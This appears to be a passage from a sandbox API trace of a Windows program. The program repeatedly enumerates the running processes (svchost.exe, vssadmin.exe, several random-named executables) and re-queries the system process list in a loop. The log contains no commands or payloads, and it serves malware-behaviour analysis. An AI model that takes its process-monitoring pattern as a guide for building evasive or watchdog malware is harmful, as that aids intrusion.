RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0083.185] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0083.185] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.185] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0083.185] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0083.185] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.185] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0083.185] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0083.185] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.185] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0083.185] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.185] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0083.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0083.186] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0083.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0083.186] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0083.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0083.186] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0083.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0083.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0083.186] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0083.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0083.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0083.186] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0083.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0083.186] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0083.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0083.186] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0083.186] RtlFreeAnsiString (AnsiString="audiodg.exe") [0083.186] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0083.186] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0083.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e38 [0083.187] RtlFreeAnsiString (AnsiString="sihost.exe") [0083.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0083.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0083.187] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0083.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0083.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0083.187] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0083.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0083.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0083.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0083.187] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0083.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0083.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0083.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0083.187] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0083.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0083.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0083.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dd8 [0083.187] RtlFreeAnsiString (AnsiString="explorer.exe") [0083.187] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0083.187] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0083.187] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171510 [0083.187] RtlFreeAnsiString (AnsiString="Memory Compression") [0083.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0083.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0083.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x31713d0 [0083.188] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0083.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713d0) returned 1 [0083.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0083.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0083.188] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0083.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0083.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0083.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171510 [0083.188] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0083.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0083.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0083.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0083.188] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0083.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0083.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0083.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0083.188] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0083.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0083.188] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0083.188] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0083.188] RtlFreeAnsiString (AnsiString="UsoClient.exe") [0083.188] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0083.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0083.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0083.189] RtlFreeAnsiString (AnsiString="msoia.exe") [0083.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0083.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0083.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0083.189] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0083.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0083.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0083.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0083.189] RtlFreeAnsiString (AnsiString="DeviceCensus.exe") [0083.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0083.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0083.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171310 [0083.189] RtlFreeAnsiString (AnsiString="UNPCampaignManager.exe") [0083.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0083.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0083.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dd8 [0083.189] RtlFreeAnsiString (AnsiString="msoia.exe") [0083.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0083.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0083.189] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x3168830 [0083.189] RtlFreeAnsiString (AnsiString="AppHostRegistrationVerifier.exe") [0083.189] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168830) returned 1 [0083.189] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0083.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e20 [0083.190] RtlFreeAnsiString (AnsiString="screensaver.exe") [0083.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0083.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0083.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171330 [0083.190] RtlFreeAnsiString (AnsiString="empty-suite-xml.exe") [0083.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0083.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0083.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31623b0 [0083.190] RtlFreeAnsiString (AnsiString="religion-decorating-survivors.exe") [0083.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31623b0) returned 1 [0083.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0083.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x31713f0 [0083.190] RtlFreeAnsiString (AnsiString="surveillance.exe") [0083.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713f0) returned 1 [0083.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0083.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0083.190] RtlFreeAnsiString (AnsiString="legends.exe") [0083.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0083.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0083.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e20 [0083.190] RtlFreeAnsiString (AnsiString="miniature.exe") [0083.190] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0083.190] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0083.190] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0083.191] RtlFreeAnsiString (AnsiString="spies.exe") [0083.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0083.191] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0083.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0083.191] RtlFreeAnsiString (AnsiString="dame_looked_pearl.exe") [0083.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0083.191] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0083.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161dd8 [0083.191] RtlFreeAnsiString (AnsiString="allied.exe") [0083.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0083.191] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0083.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175ac8 [0083.191] RtlFreeAnsiString (AnsiString="geo.exe") [0083.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175ac8) returned 1 [0083.191] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0083.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0083.191] RtlFreeAnsiString (AnsiString="roman_disclosure.exe") [0083.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0083.191] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0083.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0083.191] RtlFreeAnsiString (AnsiString="scuba elementary.exe") [0083.191] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0083.191] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0083.191] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0083.192] RtlFreeAnsiString (AnsiString="attacks_according.exe") [0083.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0083.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0083.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dc0 [0083.192] RtlFreeAnsiString (AnsiString="dupleased.exe") [0083.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0083.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0083.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x3168830 [0083.192] RtlFreeAnsiString (AnsiString="pubemissiondetermine.exe") [0083.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168830) returned 1 [0083.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0083.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0083.192] RtlFreeAnsiString (AnsiString="dllhost.exe") [0083.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0083.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0083.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0083.192] RtlFreeAnsiString (AnsiString="conhost.exe") [0083.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0083.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0083.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0083.192] RtlFreeAnsiString (AnsiString="conhost.exe") [0083.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0083.192] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0083.192] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0083.192] RtlFreeAnsiString (AnsiString="svchost.exe") [0083.192] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0083.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0083.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171310 [0083.193] RtlFreeAnsiString (AnsiString="CompatTelRunner.exe") [0083.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0083.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0083.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0083.193] RtlFreeAnsiString (AnsiString="conhost.exe") [0083.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0083.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0083.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0083.193] RtlFreeAnsiString (AnsiString="explorer.exe") [0083.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0083.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0083.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0083.193] RtlFreeAnsiString (AnsiString="explorer.exe") [0083.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0083.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0083.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0083.193] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0083.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0083.193] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0083.193] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0083.193] RtlFreeAnsiString (AnsiString="conhost.exe") [0083.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0083.193] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3177e48) returned 1 [0083.193] Sleep (dwMilliseconds=0x64) [0084.834] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0084.834] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.835] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0084.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.835] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0084.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.835] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0084.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.835] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0084.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.835] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0084.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.836] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0084.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.836] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0084.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.836] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0084.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.836] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0084.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.837] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0084.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.837] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0084.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0084.837] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0084.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, 